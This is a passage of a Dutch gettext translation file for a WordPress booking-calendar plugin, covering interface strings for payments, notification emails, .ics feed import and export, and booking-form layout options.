de boekings gemaakt is in het admin panel%s." #: core/lang/wpbc_all_translations1.php:147 msgid "Activate custom booking forms for regular users" msgstr "Activeer aangepaste boekingsformulieren voor regelmatige gebruikers" #: core/lang/wpbc_all_translations1.php:148 msgid "Check this box if you want to use multiple custom booking forms for activated regular users" msgstr "Vink het vakje aan, als u eenvoudige aanpassingen in het boekingsformulier wilt gebruiken uit de gratis versie op de pagina Instellingen - Formulier" #: core/lang/wpbc_all_translations1.php:189 msgid "Select start and end time showing for Calendar Overview in %sDay%s view mode" msgstr "Selecteer de start- en eindtijd die getoond moet worden in het Kalenderoverzicht in %sDag%s weergave" #: core/lang/wpbc_all_translations2.php:16 #: includes/_toolbar_ui/toolbar_ui.php:2274 msgid "Show / hide notes" msgstr "Notities weergeven/verbergen" #: core/lang/wpbc_all_translations2.php:17 #: includes/_toolbar_ui/toolbar_ui.php:2275 msgid "Check this box if you want to open notes section by default in Booking Listing page." msgstr "Vink aan als u standaard notities wilt zien in het boekingsoverzicht." #: core/lang/wpbc_all_translations1.php:204 js/wpbc-gutenberg.js:1445 msgid "URL of page for customer bookings listing" msgstr "URL van de pagina met het boekingsoverzicht voor bezoekers" #: core/lang/wpbc_all_translations1.php:205 msgid "Type URL for %svisitors%s to view own bookings. You must insert %s shortcode into this page." msgstr "Voer de URL in voor %sklanten%s om boekingen te bewerken. Je moet %s shortcode in deze pagina invoegen." #: core/lang/wpbc_all_translations1.php:591 msgid "Do not show payment form, after submit booking form" msgstr "Toon geen betaalformulier na het inzenden van het boekingsformulier" #: core/lang/wpbc_all_translations1.php:592 msgid "Check this box if you want to show payment form only after sending payment request by email" msgstr "Vink aan als u het betaalformulier pas wilt tonen na het versturen van het betaalverzoek per e-mail" #: core/lang/wpbc_all_translations1.php:593 msgid "Auto send payment request after creation booking in admin panel" msgstr "Verzend automatisch een betaalverzoek na het maken van een boeking in het admin panel" #: core/lang/wpbc_all_translations1.php:594 msgid "Check this box if you want automatically send payment request to visitor, if booking was made in admin panel" msgstr "Vink aan als u het betaalverzoek automatisch wilt versturen als de boeking in het admin panel is gemaakt" #: core/lang/wpbc_all_translations1.php:597 msgid "Show deposit and total booking cost together" msgstr "Toon aanbetaling en totale boekingskosten tezamen" #: core/lang/wpbc_all_translations1.php:600 msgid "Please note, at admin panel for booking will be saved deposit cost and notes about deposit, do not depend from the visitor choice of this payment. You need to check each such payment manually!" msgstr "Let a.u.b. op, in het admin panel wordt informatie over aanbetalingskosten en aanbetalingscommentaar opgeslagen, onafhankelijk van de keuze van de bezoeker voor een betaalmethode. Deze betaling dien je handmatig aan te vinken!" #: core/lang/wpbc_all_translations1.php:606 msgid "Send email on cost changes" msgstr "Verzend een e-mail over de wijziging in kosten" #: core/lang/wpbc_all_translations1.php:607 msgid "Check this box if you want to send booking modification email, if cost of booking was edited in booking listing page." msgstr "Vink aan als er bij elke boeking die gewijzigd is via het boekingsoverzicht een boekingswijzigingse-mail verstuurd moet worden." #: core/lang/wpbc_all_translations1.php:643 msgid "Payment Options" msgstr "Betaalmogelijkheden" #: core/lang/wpbc_all_translations1.php:598 msgid "Check this box if you want to show deposit amount and total booking cost, after submit of booking." msgstr "Vink dit vakje aan als je het aanbetalingsbedrag en de totale boekingskosten wilt tonen, na het indienen van de boeking." #: core/admin/page-email-approved.php:189 #: core/admin/page-email-approved.php:205 core/admin/page-email-deleted.php:190 #: core/admin/page-email-deleted.php:205 core/admin/page-email-deny.php:190 #: core/admin/page-email-deny.php:207 core/admin/page-email-trash.php:190 #: core/admin/page-email-trash.php:205 core/lang/wpbc_all_translations.php:194 msgid "Copy(ies)" msgstr "Kopieën" #: core/admin/page-email-approved.php:190 core/admin/page-email-deleted.php:191 #: core/admin/page-email-deny.php:191 core/admin/page-email-trash.php:191 #: core/lang/wpbc_all_translations.php:195 msgid "Enable / disable sending email(s) to additional addresses" msgstr "Schakel het verzenden van een kopie van deze emailmelding naar extra adressen in/uit" #: core/admin/page-email-approved.php:216 core/admin/page-email-deleted.php:216 #: core/admin/page-email-deny.php:218 core/admin/page-email-trash.php:216 #: core/lang/wpbc_all_translations.php:199 msgid "You can put multiple emails separated by" msgstr "Je kunt verschillende waarden gebruiken, gescheiden door" #: core/admin/page-email-approved.php:272 #: core/lang/wpbc_all_translations.php:203 msgid "Email Address will be used in the FROM field of response to Visitor." msgstr "Het e-mail adres zal gebruikt worden in het VAN veld van het antwoord aan de bezoeker." #: core/admin/page-email-approved.php:585 #: core/lang/wpbc_all_translations.php:236 msgid "Customization of email template, which is sent to Visitor after approval of booking" msgstr "Aanpassing van het emailsjabloon dat na acceptatie van de boeking aan de klant verzonden wordt" #: core/admin/page-email-approved.php:660 #: core/lang/wpbc_all_translations.php:237 msgid "Email is sent to Visitor after Approval of booking." msgstr "E-mailbericht dat wordt verzonden naar de klant na acceptatie van de boeking." #: core/admin/page-email-deleted.php:583 #: core/lang/wpbc_all_translations.php:249 msgid "Customization of email template, which is sent to Visitor after Cancellation of booking" msgstr "Aanpassing van e-mail sjabloon dat aan de klant verzonden wordt na het annuleren van de boeking" #: core/admin/page-email-deleted.php:658 #: core/lang/wpbc_all_translations.php:250 msgid "Email is sent to Visitor after Deleting of booking." msgstr "E-mailbericht dat wordt verzonden naar de klant na het verwijderen van de boeking." #: core/admin/page-email-deny.php:581 core/lang/wpbc_all_translations.php:251 msgid "Customization of email template, which is sent to Visitor, when booking status is set to Pending" msgstr "Aanpassen van emailsjabloon voor het versturen van een bericht aan de bezoeker als de boekingstatus wijzigt naar \"in afwachting\"" #: core/admin/page-email-deny.php:656 core/lang/wpbc_all_translations.php:252 msgid "Email is sent to Visitor after booking set as Pending." msgstr "E-mailbericht dat wordt verzonden naar de klant nadat de boeking op 'optie' (in behandeling) gezet wordt." #: core/admin/page-ics-import.php:644 core/lang/wpbc_all_translations.php:335 msgid "Configure ULR feed(s) at this settings page." msgstr "Stel de URL feed(s) in op deze instellingenpagina." #: core/admin/page-settings.php:111 core/admin/page-settings.php:438 #: core/lang/wpbc_all_translations.php:397 msgid "Booking Admin Panel" msgstr "Reserveringen admin panel" #: core/lang/wpbc_all_translations.php:833 msgid "%s - ID of booking resource, " msgstr "%s - ID van het object, " #: core/lang/wpbc_all_translations.php:834 msgid "%s - ID of page with booking form, " msgstr "%s - ID van de pagina met het boekingsformulier, " #: core/lang/wpbc_all_translations1.php:761 msgid "require PHP version %s or newer!" msgstr "vereist PHP versie %s of nieuwer!" #: core/lang/wpbc_all_translations1.php:773 msgid "For more information:" msgstr "Voor meer informatie:" #: core/lang/wpbc_all_translations1.php:750 msgid "Secret key" msgstr "Geheime sleutel" #: core/admin/api-settings.php:682 core/lang/wpbc_all_translations.php:71 #: includes/page-form-simple/page-form-simple.php:672 msgid "Simple" msgstr "Eenvoudig" #: core/admin/api-settings.php:683 core/lang/wpbc_all_translations.php:73 #: includes/page-form-simple/page-form-simple.php:673 msgid "Check the box, if you want to use simple booking form customization from Free plugin version at Settings - Form page." msgstr "Vink het vakje aan, als u eenvoudige aanpassingen in het boekingsformulier wilt gebruiken uit de gratis versie op de pagina Instellingen - Formulier." #: core/lang/wpbc_all_translations1.php:369 msgid "Coupon discount value of the booking." msgstr "Waarde van de korting op de boeking." #: core/lang/wpbc_all_translations1.php:747 msgid "Chose payment account" msgstr "Kies betaalmethode" #: core/lang/wpbc_all_translations1.php:772 msgid "Publishable key" msgstr "Te publiceren sleutel" #: core/admin/api-settings.php:1726 core/lang/wpbc_all_translations.php:178 msgid "Premium" msgstr "Premium" #: core/lang/wpbc_all_translations.php:555 msgid "View" msgstr "Weergave" #: core/lang/wpbc_all_translations.php:556 #: includes/page-form-simple/page-form-simple.php:394 msgid "Standard Forms" msgstr "Standaardformulieren" #: core/lang/wpbc_all_translations.php:557 #: includes/page-form-simple/page-form-simple.php:397 msgid "Form under calendar" msgstr "Formulier onder kalender" #: core/lang/wpbc_all_translations.php:558 #: includes/page-form-simple/page-form-simple.php:407 msgid "Form at right side of calendar" msgstr "Formulier rechts van de kalender" #: core/lang/wpbc_all_translations.php:559 #: includes/page-form-simple/page-form-simple.php:417 msgid "Form and calendar are centered" msgstr "Formulier en kalender worden gecentreerd" #: core/admin/page-ics-import.php:658 core/lang/wpbc_all_translations.php:337 msgid "Visit these (previously configured URL feeds) pages for downloading .ics files." msgstr "Bezoek deze (voor-ingestelde URL feeds) pagina's voor het downloaden van .ics bestanden." #: core/admin/api-settings.php:1727 core/lang/wpbc_all_translations.php:179 msgid "Show / hide menu" msgstr "Hint weergeven / verbergen" #: core/lang/wpbc_all_translations.php:683 core/wpbc-emails.php:261 #: core/wpbc-emails.php:262 core/wpbc-emails.php:263 core/wpbc-emails.php:264 #: core/wpbc-emails.php:265 core/wpbc-emails.php:266 core/wpbc-emails.php:267 msgid "%s - inserting modification date of booking " msgstr "%s - invoegen van de datums van de boeking " #. Author of the plugin #: wpdev-booking.php msgid "wpdevelop, oplugins" msgstr "wpdevelop, oplugins" #: core/admin/api-settings.php:1540 core/lang/wpbc_all_translations.php:155 msgid "Show system debugging log for beta features" msgstr "Toon systeem debugging log voor beta functionaliteiten" #: core/admin/api-settings.php:1541 core/lang/wpbc_all_translations.php:156 msgid "Activate this option only for testing beta features" msgstr "Activeer deze optie alleen voor het testen van beta functionaliteiten" #: core/admin/page-ics-export.php:64 core/admin/page-ics-export.php:231 #: core/lang/wpbc_all_translations.php:272 msgid "feed" msgstr "feed" #: core/admin/page-ics-export.php:180 core/admin/page-ics-export.php:243 #: core/admin/page-ics-import.php:178 core/lang/wpbc_all_translations.php:278 msgid "How it works" msgstr "Hoe het werkt" #: core/admin/page-ics-export.php:444 core/admin/page-ics-export.php:447 #: core/lang/wpbc_all_translations.php:279 msgid ".ics feed URL" msgstr ".ics feed URL" #: core/admin/page-ics-export.php:468 core/lang/wpbc_all_translations.php:281 msgid "Please enter URL for generating .ics feed" msgstr "Voor a.u.b. de URL in voor het genereren van een .ics feed" #: core/admin/page-ics-export.php:471 core/lang/wpbc_all_translations.php:282 msgid "This .ics feed of bookings starting from today for 1 year" msgstr "Deze boekingen .ics feed loopt gedurende 1 jaar en start vandaag" #: core/admin/page-ics-import.php:62 core/lang/wpbc_all_translations.php:316 msgid "feeds" msgstr "feeds" #: core/admin/page-ics-import.php:462 core/lang/wpbc_all_translations.php:318 msgid "Enter URL to .ics feed" msgstr "Voer URL naar .ics feed in" #: core/admin/page-ics-import.php:468 core/lang/wpbc_all_translations.php:320 msgid "Insert file URL" msgstr "Voeg bestands URL in" #: core/admin/page-ics-import.php:506 core/lang/wpbc_all_translations.php:322 msgid "What does .ics feeds import/export mean?" msgstr "Wat betekent .ics feeds importeren/exporteren?" #: core/admin/page-ics-import.php:514 core/lang/wpbc_all_translations.php:323 msgid "Its useful, if you need to import/export bookings from/to external websites, like %s" msgstr "Het is handig als je boekingen van andere websites, zoals %s, moet importeren" #: core/admin/page-ics-import.php:522 core/lang/wpbc_all_translations.php:324 msgid "and any other calendar that uses .ics format" msgstr "en elke andere kalender die gebruik maakt van het .ics bestandsformaat" #: core/admin/page-ics-import.php:536 core/lang/wpbc_all_translations.php:325 msgid ".ics - is a file format of iCalendar standard for exchanging calendar and scheduling information between different sources %s Using a common calendar format (.ics), you can keep all your calendars updated and synchronized." msgstr ".ics is een standaard bestandsformaat van iCalendar voor het uitwisselen van kalender en agenda informatie tussen verschillende bronnen %s. Door gebruik te maken van een algemeen kalender format (.ics), kun je al je agenda's up-to-date en gesynchroniseerd houden." #: core/admin/page-ics-import.php:586 core/lang/wpbc_all_translations.php:328 msgid "How to start import of .ics feeds (files)?" msgstr "Hoe start ik het importeren van .ics feeds (bestanden)?" #: core/admin/page-ics-import.php:593 core/admin/page-ics-import.php:640 #: core/lang/wpbc_all_translations.php:329 msgid "Install %s plugin." msgstr "Installeer %s plugin." #: core/admin/page-ics-import.php:597 core/lang/wpbc_all_translations.php:330 msgid "Insert %s shortcode into some post(s) or page(s). Check more info about this %sshortcode configuration%s" msgstr "Voer %s shortcode in op sommige post(s) of pagina('s). Kijk hier voor meer informatie over deze %sshortcode configuratie%s" #: core/admin/page-ics-import.php:606 core/lang/wpbc_all_translations.php:331 msgid "Using such shortcodes in pages give a great flexibility to import from different .ics feeds (sources) into the same resource.%sAlso its possible to define different CRON parameters for accessing such different pages with different time intervals." msgstr "Het gebruik van shortcodes op pagina's geeft een grote mate van flexibiliteit om verschillende .ics feeds (bronnen) te importeren in dezelfde resources.%sHet is ook mogelijk om verschillende CRON parameters in te stellen voor de toegang tot verschillende pagina's met verschillende tijdsintervallen." #: core/admin/page-ics-import.php:615 core/lang/wpbc_all_translations.php:332 msgid "Or you can import .ics feed or file directly at current page." msgstr "Of je kunt de .ics feed of het .ics bestand direct in de huidige pagina importeren." #: core/admin/page-ics-import.php:622 core/lang/wpbc_all_translations.php:333 msgid "If you have inserted import shortcodes from %s, then you can configure your CRON for periodically access these pages and import .ics feeds." msgstr "Als je de import shortcodes van %s hebt ingevoegd, kun je de CRON instellen voor de periodieke toegang tot deze pagina's om .ics feeds te importeren." #: core/admin/page-ics-import.php:633 core/lang/wpbc_all_translations.php:334 msgid "How to start export of .ics feeds (files)?" msgstr "Hoe start ik het exporteren van .ics feeds (bestanden)?" #: core/lang/wpbc_all_translations1.php:208 msgid ".ics Feed URL" msgstr ".ics feed URL" #: core/admin/page-ics-export.php:168 core/admin/page-ics-import.php:166 #: core/lang/wpbc_all_translations.php:276 msgid "This feature require %s plugin. You can install %s plugin from this %spage%s." msgstr "Deze functionaliteit vereist %s plug-in. U je kunt %s plug-in installeren via deze %spagina%s." #: core/admin/page-ics-export.php:466 core/lang/wpbc_all_translations.php:280 #: includes/publish/wpbc-create-pages.php:228 #: includes/publish/wpbc-create-pages.php:268 #: includes/publish/wpbc-create-pages.php:278 #: includes/publish/wpbc-create-pages.php:288 msgid "Open in new window" msgstr "Openen in nieuw window" #: core/admin/page-ics-import.php:467 core/lang/wpbc_all_translations.php:319 msgid "Choose file" msgstr "Kies e-mailsjabloon" #: core/admin/page-ics-import.php:469 core/lang/wpbc_all_translations.php:321 msgid "Upload / Select " msgstr "Selecteer " #: core/admin/wpbc-toolbars.php:1208 core/admin/wpbc-toolbars.php:1209 #: core/lang/wpbc_all_translations.php:500 #: includes/page-bookings/bookings__actions.php:2875 msgid "Add to Google Calendar" msgstr "Toevoegen aan Google kalender" #: core/lang/wpbc_all_translations.php:688 core/wpbc-emails.php:292 msgid "%s - inserting link for export booking to" msgstr "%s - invoegen van een link voor het exportren van de boeking" #: core/lang/wpbc_all_translations.php:802 core/wpbc-activation.php:1508 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:212 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:223 msgid "Nothing Found" msgstr "Niets gevonden" #: core/lang/wpbc_all_translations.php:847 msgid "Shuffle" msgstr "Schudden" #: core/lang/wpbc_all_translations1.php:982 #: includes/page-bookings/bookings__listing.php:248 #: includes/_toolbar_ui/toolbar_ui.php:1198 msgid "Imported" msgstr "Geïmporteerd" #: core/admin/api-settings.php:691 core/lang/wpbc_all_translations.php:74 msgid "Syntax highlighter" msgstr "Syntax markering" #: core/lang/wpbc_all_translations.php:838 msgid "Sort search results by" msgstr "Sorteer zoekresultaten op" #: core/lang/wpbc_all_translations.php:839 msgid "Select type of sorting search results" msgstr "Selecteer het type van het sorteren van zoekresultaten" #: core/lang/wpbc_all_translations.php:840 msgid "ID of booking resource" msgstr "ID van de boeking gegevensbron" #: core/lang/wpbc_all_translations.php:843 msgid "Title of booking resource" msgstr "Titel van de boeking gegevensbron" #: core/lang/wpbc_all_translations.php:844 msgid "Priority field of booking resource" msgstr "Prioriteit veld van de boeking gegevensbron" #: core/lang/wpbc_all_translations.php:845 msgid "Cost of booking resource" msgstr "Kosten van de boeking gegevensbron" #: core/lang/wpbc_all_translations.php:846 msgid "Cost of booking" msgstr "Kosten van de boeking" #: core/lang/wpbc_all_translations1.php:195 msgid "Deactivate send email option at Add Booking page" msgstr "Uitschakelen verzenden e-mail optie op de Toevoegen Boeking pagina" #: core/lang/wpbc_all_translations1.php:196 msgid "Check this box if you want to deactivate by default option \"Send email\" at Add Booking page." msgstr "Vink dit vakje aan als je de standaard optie \"Verzend e-mail\" wil uitschakelen op de Toevoegen Boeking pagina." #: core/lang/wpbc_all_translations1.php:197 msgid "Force change booking resource for exist booking" msgstr "Forceer wijziging boeking gegevensbron voor een bestaande boeking" #: core/lang/wpbc_all_translations1.php:198 msgid "Check this box if you want to skip checking availability of new booking resource during changing booking resource of exist booking at Booking Listing page." msgstr "Vink dit vakje aan als je het controleren van de beschikbaarheid van een nieuwe boeking gegevensbron wil uitschakelen gedurende het wijzigen van de boeking gegevensbron van een bestaande boeking op de Boekingslijst pagina." #: core/lang/wpbc_all_translations1.php:470 msgid "Signature Key" msgstr "Signature Key" #: core/lang/wpbc_all_translations1.php:471 msgid "Please enter the Signature Key, which you generated in the settings of Merchant Interface." msgstr "Geef s.v.p. de Signature Key in, welke je hebt aangemaakt in de instellingen van de verkoper interface." #: core/lang/wpbc_all_translations1.php:472 msgid "To generate new Signature Key" msgstr "Om een nieuwe Signature Key te genereren" #: core/lang/wpbc_all_translations1.php:473 msgid "Log on to the %sMerchant Interface%s" msgstr "Log in op de %sVerkoper interface%s" #: core/lang/wpbc_all_translations1.php:474 msgid "In the merchant interface, go to Account > Settings > Security Settings > General Security Settings > API Credential & Keys" msgstr "In de verkoper interface, ga naar Account>Instellingen>Veiligheid instellingen->Generieke veiligheid instellingen>API gegevens $ sleutels" #: core/lang/wpbc_all_translations1.php:475 msgid "Answer the secret question." msgstr "Beantwoord de geheime vraag." #: core/lang/wpbc_all_translations1.php:476 msgid "Select New Signature Key. Your signature key is displayed as a string." msgstr "Selecteer de nieuwe Signature Key. Je signature key wordt getoont als een string." #: core/lang/wpbc_all_translations1.php:477 msgid "Click Copy to Clipboard." msgstr "Klik kopieer naar Clipboard." #: core/lang/wpbc_all_translations1.php:478 msgid "For more information, please check %shere%s" msgstr "Voor meer informatie, controleer %hier% s.v.p." #: core/lang/wpbc_all_translations1.php:519 msgid "If you have no account on this system, please sign up for a %sdeveloper test account%s to obtain an API Login ID and Signature Key. These keys will authenticate requests to the payment gateway." msgstr "Indien je geen account hebt op dit systeem, s.v.p. schrijf dan in voor een %sontwikkelaar test account%s om een API login ID an Signature Key te verkrijgen. Deze sleutels zullen verzoeken op de betaling gateway authenticeren." #: core/admin/api-settings.php:692 core/lang/wpbc_all_translations.php:75 msgid "Check the box, if you want to use syntax highlighter during customization booking form." msgstr "Vink dit vakje aan, als je de syntax markeerder wil gebruiken gedurende het aanpassen van het boekingsformulier." #: core/lang/wpbc_all_translations.php:687 core/wpbc-emails.php:286 msgid "%s - inserting link for move booking to trash in 1 mouse click " msgstr "%s - link invoegen om de boeking te verplaatsen naar de prullenbak in 1 muisklik " #: core/lang/wpbc_all_translations.php:686 core/wpbc-emails.php:285 msgid "%s - inserting link to set booking as pending in 1 mouse click " msgstr "%s - link invoegen om de boeking in de wachtrij te zetten in 1 muisklik " #: core/lang/wpbc_all_translations.php:685 core/wpbc-emails.php:284 msgid "%s - inserting link to approve booking in 1 mouse click " msgstr "%s - link invoegen om de boeking toe te staan in 1 muisklik " #: core/admin/page-ics-general.php:190 core/lang/wpbc_all_translations.php:295 msgid "Export only approved bookings" msgstr "Exporteer alleen goedgekeurde boekingen" #: core/admin/page-ics-general.php:191 core/lang/wpbc_all_translations.php:296 msgid "Enable of export only approved bookings in .ics feeds" msgstr "Inschakelen van export alleen voor goedgekeurde boekingen in .ics feeds" #: core/lang/wpbc_all_translations2.php:15 #: includes/_toolbar_ui/toolbar_ui.php:2210 #: includes/_toolbar_ui/toolbar_ui.php:2211 msgid "Empty Trash" msgstr "Prullenbak leegmaken" #: core/lang/wpbc_all_translations.php:643 #: core/timeline/v2/wpbc-class-timeline_v2.php:2497 #: includes/page-availability/availability__page.php:268 #: includes/page-bookings/bookings__page.php:187 #: includes/page-customize/customize__page.php:320 #: includes/page-setup/setup__page.php:319 msgid "Loading" msgstr "Laden" #: core/lang/wpbc_all_translations.php:866 msgid "Flex" msgstr "Flex" #: core/lang/wpbc_all_translations1.php:406 msgid "Booking %s have been approved." msgstr "Boeking %s is goedgekeurd." #: core/lang/wpbc_all_translations1.php:407 msgid "Booking %s have been set as pending." msgstr "Boeking %s is in de wachtrij gezet." #: core/lang/wpbc_all_translations1.php:408 msgid "Booking %s have been moved to trash." msgstr "Boeking %s is naar de prullenbak verplaatst." #: core/lang/wpbc_all_translations1.php:760 msgid "require correct configuration of this option: %sURL to edit bookings%s" msgstr "Vereis een correcte configuratie van deze optie:%sURL om de boekingen te bewerken%s" #: core/lang/wpbc_all_translations1.php:782 msgid "You may test your integration over HTTP. However, live integrations must use HTTPS." msgstr "Je kunt je integratie testen via HTTP. Echter, live integraties moeten altijd HTTPS gebruiken." #: core/lang/wpbc_all_translations.php:591 core/lib/wpbc-ajax.php:99 #: includes/page-bookings/bookings__actions.php:702 msgid "Declined by:" msgstr "Afgewezen door:" #: core/lang/wpbc_all_translations.php:590 core/lib/wpbc-ajax.php:99 #: includes/page-bookings/bookings__actions.php:702 msgid "Approved by:" msgstr "Goedgekeurd door:" #: core/admin/page-email-trash.php:588 core/lang/wpbc_all_translations.php:267 msgid "Customization of email template, which is sent to Visitor after rejecting of booking" msgstr "Aanpassing van de e-mail template, welke wordt verzonden naar de bezoeker indien de boeking wordt geweigerd" #: core/admin/page-email-trash.php:586 core/lang/wpbc_all_translations.php:266 #: core/timeline/v2/wpbc-class-timeline_v2.php:2961 #: core/timeline/v2/wpbc-class-timeline_v2.php:3074 #: includes/_toolbar_ui/toolbar_ui.php:1782 msgid "Trash / Reject" msgstr "Prullenbak/ Afwijzen" #: core/lang/wpbc_all_translations2.php:93 #: includes/page-bookings/bookings__actions.php:2915 msgid "Reject - move to trash" msgstr "Afwijzen - verplaats naar de prullenbak" #: core/lang/wpbc_all_translations1.php:980 #: includes/_toolbar_ui/toolbar_ui.php:1147 msgid "In Trash / Rejected" msgstr "In prullenbak / Afgewezen" #: core/lang/wpbc_all_translations.php:862 msgid "Flex Search Form Template" msgstr "Flex zoekformulier template" #: core/lang/wpbc_all_translations1.php:994 #: includes/_toolbar_ui/toolbar_ui.php:1783 msgid "Reject booking - move selected bookings to trash" msgstr "Wijs boeking af - verplaats geselecteerde boekingen naar de prullenbak" #: core/lang/wpbc_all_translations.php:848 msgid "Select date format for search form" msgstr "Selecteer het datum format voor het zoekformulier" #: core/lang/wpbc_all_translations1.php:595 msgid "Update cost, after booking editing in admin panel" msgstr "Update kosten na het bewerken van boekingen in het beheer paneel" #: core/lang/wpbc_all_translations1.php:604 msgid "Apply discount coupon code directly to days cost" msgstr "Pas de korting waardebon direct toe op de dagelijkse kosten" #: core/lang/wpbc_all_translations1.php:605 msgid "Check this box if you want apply discount coupon codes directly to days cost, without additional costs." msgstr "Vink dit vakje aan als je de waardebon korting direct wil toepassen op de dagelijkse kosten, zonder extra kosten. " #: core/lang/wpbc_all_translations.php:671 core/wpbc-emails.php:220 msgid "%s - inserting check-out date (only date without time) (last day of reservation)," msgstr "%s - invoeging uitschrijf datum (alleen datum zonder tijd) (laatste dag van reservering)," #: core/lang/wpbc_all_translations.php:669 core/wpbc-emails.php:215 msgid "%s - inserting check-in date (only date without time) (first day of reservation)," msgstr "%s - invoeging inschrijf datum (alleen datum zonder tijd) (eerste dag van reservering)," #: core/lang/wpbc_all_translations1.php:200 msgid "Check this box if you want to log approving or rejection of bookings and add it to your booking notes." msgstr "Vink dit vakje aan als je goedkeuring of afwijzing van boekingen wil loggen en het wil toevoegen aan je boeking aantekeningen." #: core/lang/wpbc_all_translations1.php:581 msgid "%sFor Malaysia Only%s. iPay88 - Payment Switching Gateway integration %s" msgstr "%sAlleen voor Maleisië. iPay88 - Payment Switching Gateway integratie %s" #: core/lang/wpbc_all_translations1.php:596 msgid "Check this box if you want to update cost after editing booking in admin panel, based on new booking data" msgstr "Vink dit vakje aan als je de kosten wil updaten na het bewerken van een boeking in het beheerders paneel, gebaseerd op nieuwe boekingsgegevens" #: core/lang/wpbc_all_translations.php:539 msgid "You can add %sTime Slots%s to booking form, by activating and configure %sTime Slots%s field in booking form (below) or by adding this field from (above) toolbar." msgstr "Je kunt %sTijd sloten% toevoegen aan het boekingsformulier, door het configureren van %sTijd sloten%s veld in het boekingsformulier (hieronder) of door het toevoegen van dit veld van (hierboven) toolbar." #: core/admin/page-ics-import.php:649 core/lang/wpbc_all_translations.php:336 msgid "Using such URL(s) you can import .ics feeds, from interface of other websites. %sCheck more info about how to import .ics feeds into other websites at the support pages of sepcific website." msgstr "Met behulp van deze URL('s) kun je .ics feeds importeren vanuit andere websites. %sKijk voor meer informatie over het importeren van .ics feeds binnen andere sites op de ondersteuning pagina's van de specifieke site." #: core/lang/wpbc_all_translations1.php:314 msgid "End Time - Text field" msgstr "Eindtijd - tekstveld" #: core/lang/wpbc_all_translations1.php:317 msgid "End Time - Drop Down list" msgstr "Eindtijd - dropdownlijst" #: core/lang/wpbc_all_translations1.php:318 msgid "Duration Time - Drop Down list" msgstr "Tijdsduur - Dropdownlijst" #: core/lang/wpbc_all_translations1.php:319 msgid "field" msgstr "veld" #: core/lang/wpbc_all_translations1.php:320 msgid "Different time slots, for the different week days" msgstr "Verschillende tijdsvakken voor verschillende weekdagen" #: core/lang/wpbc_all_translations1.php:241 msgid "Configuration" msgstr "Configuratie" #: core/lang/wpbc_all_translations1.php:322 msgid "The general structure of the configuration %scondition rule%s is as follows" msgstr "De algemene structuur van de configuratie %svoorwaarderegel%s is als volgt" #: core/lang/wpbc_all_translations1.php:323 msgid "Parameters" msgstr "Parameters" #: core/lang/wpbc_all_translations1.php:276 msgid "Examples" msgstr "Voorbeelden" #: core/lang/wpbc_all_translations1.php:328 msgid "default value, if no dates are selected, or none exist conditions are true." msgstr "standaardwaarde, wanneer geen datums geselecteerd zijn, of geen bestaande voorwaarden waar zijn." #: core/lang/wpbc_all_translations1.php:333 msgid "Additional info" msgstr "Bijkomende info" #: core/lang/wpbc_all_translations1.php:335 msgid "Please check more about this feature at %sthis page%s" msgstr "Ontdek meer over deze functie op %sdeze pagina%s" #: core/lang/wpbc_all_translations1.php:336 msgid "Time Field" msgstr "Tijdsveld" #: core/lang/wpbc_all_translations1.php:337 msgid "Enter the %sTime%s using the text field." msgstr "Voer de %sTijd%s in via dit tekstveld." #: core/lang/wpbc_all_translations1.php:339 msgid "The value of this field is just saved into DB." msgstr "De waarde van dit veld is net opgeslagen in de database." #: core/lang/wpbc_all_translations1.php:340 msgid "Country List" msgstr "Lijst van landen" #: core/lang/wpbc_all_translations1.php:341 msgid "Select the country from the predefined country list." msgstr "Selecteer het land uit de voorgedefinieerde landenlijst." #: core/lang/wpbc_all_translations1.php:344 msgid "Example: %s - %s\"United States\"%s is selected by default." msgstr "Voorbeeld: %s - %s\"Verenigde Staten\"%s is standaard geselecteerd." #: core/lang/wpbc_all_translations1.php:345 msgid "Language Sections" msgstr "Taalsecties" #: core/lang/wpbc_all_translations1.php:349 msgid "Usage" msgstr "Gebruik" #: core/lang/wpbc_all_translations1.php:350 msgid "start new translation section in specific language, where %s - locale of the translation." msgstr "begin nieuwe vertalingssectie in specifieke taal, waar %s - locale van de vertaling." #: core/lang/wpbc_all_translations1.php:351 msgid "English and French translation" msgstr "Engelse en Franse vertaling" #: core/lang/wpbc_all_translations1.php:353 msgid "Register and Translate everything in WPML plugin. Translation can be done at the WPML > \"String translation\" page. Required WPML 3.2 with String Translation plugin." msgstr "Registreer en vertaal alles in WPML plugin. Vertaling kan gedaan worden op de pagina WPML > \"Stringvertaling\". WPML 3.2 met String Translation plugin vereist." #: core/lang/wpbc_all_translations1.php:354 msgid "Different form fields, for the different week days" msgstr "Verschillende formuliervelden, voor de verschillende weekdagen" #: core/lang/wpbc_all_translations1.php:363 msgid "Discount Coupon field" msgstr "Kortingscode veld" #: core/lang/wpbc_all_translations1.php:366 msgid "Hints for your form" msgstr "Hints voor je formulier" #: core/lang/wpbc_all_translations1.php:367 msgid "Cost Hints" msgstr "Hints voor kostprijzen" #: core/lang/wpbc_all_translations1.php:370 msgid "Dates and Times Hints" msgstr "Hints voor datums en tijden" #: core/lang/wpbc_all_translations1.php:371 msgid "Selected Check In date." msgstr "Geselecteerde aankomstdatum." #: core/lang/wpbc_all_translations.php:946 msgid "Example:" msgstr "Voorbeeld:" #: core/lang/wpbc_all_translations1.php:372 msgid "Selected Check Out date." msgstr "Geselecteerde vertrekdatum." #: core/lang/wpbc_all_translations1.php:373 msgid "Selected Start Time." msgstr "Geselecteerde starttijd." #: core/lang/wpbc_all_translations1.php:374 msgid "Selected End Time." msgstr "Geselecteerde eindtijd." #: core/lang/wpbc_all_translations1.php:375 msgid "All selected dates." msgstr "Alle geselecteerde dagen." #: core/lang/wpbc_all_translations1.php:376 msgid "All selected dates with times." msgstr "Alle geselecteerde datums met tijden." #: core/lang/wpbc_all_translations1.php:377 msgid "All selected dates in \"short\" format." msgstr "Alle geselecteerde datums in \"kort\" formaat." #: core/lang/wpbc_all_translations1.php:378 msgid "All selected dates with times in \"short\" format.." msgstr "Alle geselecteerde datums met tijden in \"kort\" formaat." #: core/lang/wpbc_all_translations.php:945 msgid "Number of selected days." msgstr "Aantal geselecteerde dagen." #: core/lang/wpbc_all_translations.php:947 msgid "Number of selected nights." msgstr "Aantal geselecteerde nachten." #: core/lang/wpbc_all_translations1.php:380 msgid "Other Hints" msgstr "Andere hints" #: core/lang/wpbc_all_translations1.php:388 msgid "Tips and Tricks" msgstr "Tips en trucs" #: core/lang/wpbc_all_translations1.php:393 msgid "%sDescription of 